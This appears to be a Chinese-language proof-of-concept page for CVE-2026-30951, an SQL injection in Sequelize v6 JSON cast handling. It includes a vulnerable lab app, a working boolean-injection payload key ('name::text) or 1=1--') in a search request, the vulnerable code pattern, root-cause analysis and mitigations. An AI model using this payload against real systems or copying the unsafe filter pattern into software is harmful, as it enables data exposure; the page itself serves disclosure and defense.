返回更新列表
已更新Sep 2, 2026

CVE-2026-30951 — 已更新!

Sequelize JSON Cast SQL 注入

分享

CVE-2026-30951 Sequelize JSON Cast SQL 注入

★ CVE-2026-30951 Sequelize ORM SQL 注入 PoC ★

https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381

概述

CVE-2026-30951Sequelize v6 中的一个 SQL 注入 漏洞,Sequelize v6 是一个广泛使用的 Node.js ORM。

该漏洞存在于 JSON/JSONB where 子句处理过程中。当 Sequelize 解析包含 :: 的 JSON 路径键时,:: 之后的值会被当作 SQL cast 类型处理,并在未经适当验证的情况下被插入到生成的 SQL 中。

如果攻击者能够控制传入 Sequelize where 子句的 JSON 对象键,就可以操纵生成的 SQL 查询。

受影响版本

类别版本
受影响Sequelize v6.x <= 6.37.7
已修复Sequelize 6.37.8
不受影响Sequelize v7 / @sequelize/core

影响

  • 通过攻击者控制的 JSON 对象键进行 SQL 注入
  • 通过布尔型注入绕过搜索过滤器
  • 在 ORM 生成的 SQL 中非预期地操纵查询条件

环境

本仓库包含一个最小化的存在漏洞的 Node.js、Express、Sequelize 和 SQLite 挑战应用。

本地运行

npm install
npm start

应用启动于:

http://127.0.0.1:9100

Docker

docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln

Docker 容器启动于:

http://127.0.0.1:9100

PoC

启动存在漏洞的环境后,按照以下步骤复现注入。

步骤 1. 发送正常的搜索请求

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name": "emma"
  }
}

这只会返回符合正常名称搜索逻辑的用户。

步骤 2. 触发基于布尔的 SQL 注入

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name::text) or 1=1--": "emma"
  }
}

预期结果:

返回所有用户行。

步骤 3. 确认发生了 SQL 注入

构造的 JSON 键会导致 Sequelize 生成类似以下的 cast 表达式:

CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)

由于 cast 类型由攻击者控制,OR 1=1 条件改变了原本预期的 WHERE 子句行为。从同一搜索端点返回所有行,确认了 SQL 注入是可能的。

分析

技术根本原因

该漏洞是由 Sequelize v6 中对 JSON cast 类型验证不足导致的。

在内部,Sequelize 的 JSON 遍历逻辑会按 :: 拆分 JSON 路径键:

jsonKey::castType

然后 cast 类型会被用于生成的 SQL 中,例如:

CAST(<json_extract_expression> AS <cast_type>)

在受影响版本中,<cast_type> 没有被安全转义,也没有被限制在已知安全的允许列表中。这使得攻击者控制的 JSON 键能够突破 cast 表达式并注入 SQL。

危险模式

在使用受影响 Sequelize 版本时,任何类似以下模式的应用都可能存在漏洞:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: {
      metadata: req.body.filter
    }
  });

  res.json(users);
});

这很危险,因为攻击者不仅控制 JSON 值,还控制 JSON 对象键。

为什么这很重要

该漏洞尤其危险,因为许多开发者认为 ORM 查询构建器会自动防止 SQL 注入。在这种情况下,注入发生在 ORM 生成的 SQL 内部,而此时应用已经将结构化 JavaScript 对象传递给了 Sequelize。

根据应用逻辑的不同,利用该漏洞可能允许:

  • 绕过预期的搜索过滤器
  • 改变布尔查询条件
  • 改变 ORM 生成 SQL 的行为

这从根本上是一个 CWE-89:SQL 命令中使用的特殊元素的不当中和 问题。

场景

+-------------------------------------------+
|                  攻击者                   |
+-------------------------------------------+
                      |
                      | 发送带有恶意 name:: 键的
                      | 构造 JSON 过滤器
                      v
+-------------------------------------------+
|        POST /api/users/search             |
+-------------------------------------------+
                      |
                      | Sequelize JSON where 子句
                      | 处理包含 :: 的键
                      v
+-------------------------------------------+
|     未转义的 SQL cast 类型注入            |
+-------------------------------------------+
                      |
                      | 布尔条件操纵
                      v
+-------------------------------------------+
|          确认 SQL 注入成功                |
+-------------------------------------------+

缓解措施

  • 将 Sequelize 升级到 6.37.8 或更高版本
  • 不要将用户控制的对象直接传入 Sequelize JSON/JSONB where 子句
  • 在构建 ORM 过滤器之前,拒绝或规范化用户控制的 JSON 键
  • 使用基于白名单的过滤器构造,而不是接受任意请求体对象
  • 除非明确需要,否则拒绝包含 SQL 控制语法或 cast 分隔符(如 ::)的 JSON 键
  • 优先使用服务器定义的查询字段,例如:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];

if (!allowedFilters.includes(req.body.field)) {
  throw new Error('Invalid filter field');
}

免责声明

本仓库仅用于安全研究、防御性验证以及在受控环境中的教育用途。

不要对您不拥有或没有明确测试许可的系统使用此 PoC。

EQST Insight

我们每月发布一次 CVE 和恶意软件分析。如果您感兴趣,请通过以下链接查看我们的出版物。

参考资料

分类